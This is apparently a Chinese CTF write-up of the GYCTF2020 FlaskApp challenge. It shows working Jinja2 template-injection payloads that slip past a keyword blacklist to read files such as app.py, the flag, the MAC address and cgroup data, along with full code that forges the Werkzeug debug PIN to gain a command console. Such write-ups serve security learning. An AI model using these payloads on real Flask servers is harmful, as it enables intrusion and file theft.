GYCTF2020 FlaskApp,老规矩,还是buu的平台
因为题目名flask,所以先不进行常规信息收集,而是观察功能点,寻找易发生ssti的功能 提示里貌似没有什么信息,考虑到功能异常抛出常见于解密环节,所以随便输段不能解密的 直接报错抛出debug信息,看来是开启了debug模式 参见该文章:Flask开启debug模式等于给黑客留了后门 而且读到了app.py的部分代码 大致的逻辑就是获取text参数,进行解密,如果可以过waf则执行代码
@app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp)进一步尝试是否ssti,在加密界面对{{6*6}}进行加密,结果为e3s2KjZ9fQ==,再在解密界面进行解密,疑似是有一定防御,那么换成{{3+3}},成功返回 说明确实存在ssti,接下来就是具体怎么利用的过程了
在jinja2中 控制结构 {% %} 变量取值 {{ }} 函数和属性
__class__ 返回调用的参数类型 __bases__ 返回基类列表 __mro__ 此属性是在方法解析期间寻找基类时的参考类元组 __subclasses__() 返回子类的列表 __globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变量,与 func_globals 等价 __builtins__ 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等python内建函数文档
首先想办法把完整的app.py读出来,方便绕waf 参考Templates Injections的payload
方便阅读我把它换行了
{% for x in ().__class__.__base__.__subclasses__() %} {% if "warning" in x.__name__ %} {{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}} {%endif%}{%endfor%}修改成
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }} {% endif %}{% endfor %}记得最后要改成一行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}然后加密解密 得到结果
from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64加密',validators= [DataRequired()]) submit = SubmitField('提交') class NameForm1(FlaskForm): text = StringField('BASE64解密',validators= [DataRequired()]) submit = SubmitField('提交') def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 @app.route('/hint',methods=['GET']) def hint(): txt = "失败乃成功之母!!" return render_template("hint.html",txt = txt) @app.route('/',methods=['POST','GET']) def encode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64encode(text.encode()) tmp = "结果 :{0}".format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('encode')) else : text = "" form = NameForm(text) return render_template("index.html",form = form ,method = "加密" ,img = "flask.png") @app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp) flash( res ) return redirect(url_for('decode')) else : text = "" form = NameForm1(text) return render_template("index.html",form = form, method = "解密" , img = "flask1.png") @app.route('/<name>',methods=['GET']) def not_found(name): return render_template("404.html",name = name) if __name__ == '__main__': app.run(host="0.0.0.0", port=5000, debug=True)把中间的waf函数代码美化一下
def waf(str): black_list = [ & #34;flag&# 34;, & #34;os&# 34;, & #34;system&# 34;, & #34;popen&# 34;, & #34;import&# 34;, & #34;eval&# 34;, & #34;chr&# 34;, & #34;request&# 34;, & #34;subprocess&# 34;, & #34;commands&# 34;, & #34;socket&# 34;, & #34;hex&# 34;, & #34;base64&# 34;, & #34;*&# 34;, & #34;?&# 34; ] for x in black_list: if x in str.lower(): return 1@ app.route( '/hint&# 39;, methods = [ & #39;GET&# 39;])从 black list大致知道了关键字,另外会将字符转小写,所以没法通过lower方法或者base64、hex一下绕过,但是最常见的是字符串拼接绕过,参考菜鸟教程找到os模块的一些方法 先使用listdir方法看看当前目录文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}加密解密结果
结果 : ['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']其中this_is_the_flag.txt有flag字样,那么接下来就是想办法读这个文件,还是采用拼接字符串的方式,然后结合内建函数open,菜鸟教程
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}得到flag 除了字符串拼接,还可以通过倒序输出的方式利用
即txt.galf_eht_si_siht/’[::-1] 将字符倒转输出
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}{% endif %}{% endfor %}通过PIN码生成机制可知,需要获取如下信息
服务器运行flask所登录的用户名。通过/etc/passwd中可以猜测为flaskweb 或者root,此处用的flaskwebmodname。一般不变就是flask.appgetattr(app, “__name__”, app.__class__.__name__)。python该值一般为Flask,该值一般不变flask库下app.py的绝对路径。报错信息会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address 获取(eth0为网卡名),本题为02:42:ae:01:0d:25,转换后为2485410401573机器的id:对于非docker机每一个机器都会有自已唯一的id Linux:/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件 Windows docker:/proc/self/cgroup首先获得mac地址
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}得到02:42:ae:00:a9:7c转十进制,可以用cyberchef 也可以一行pythonprint(int('0242AE00A97C',16))得到2485410376060 获取机器id,读取/proc/self/cgroup
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %} 结果 : 12:devices:/docker/4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4 11:perf_event:/docker/4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4 10:cpuset:/docker/4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4 9:hugetlb:/docker/4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4 8:memory:/docker/4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4 7:cpu,cpuacct:/docker/4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4 6:blkio:/docker/4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4 5:rdma:/ 4:pids:/docker/4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4 3:freezer:/docker/4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4 2:net_cls,net_prio:/docker/4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4 1:name=systemd:/docker/4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4 0::/system.slice/containerd.service也就是1:name=systemd:/docker/4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4 计算pin代码如下
import hashlib from itertools import chain probably_public_bits = [ 'flaskweb',#服务器运行flask所登录的用户名 'flask.app',#modname 'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__) '/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径 ] private_bits = [ '2485410376060',#当前网络的mac地址的十进制数 '4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4'#机器的id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)得到169-663-911 在之前的报错页面,点击右侧命令行图案,输入pin 可以直接页面debug了
import os os.popen("ls -l /").read() os.popen("cat /this_is_the_flag.txt").read()Flask开启debug模式等于给黑客留了后门 Flask debug 模式 PIN 码生成机制安全性研究笔记 关于Flask SSTI,解锁你不知道的新姿势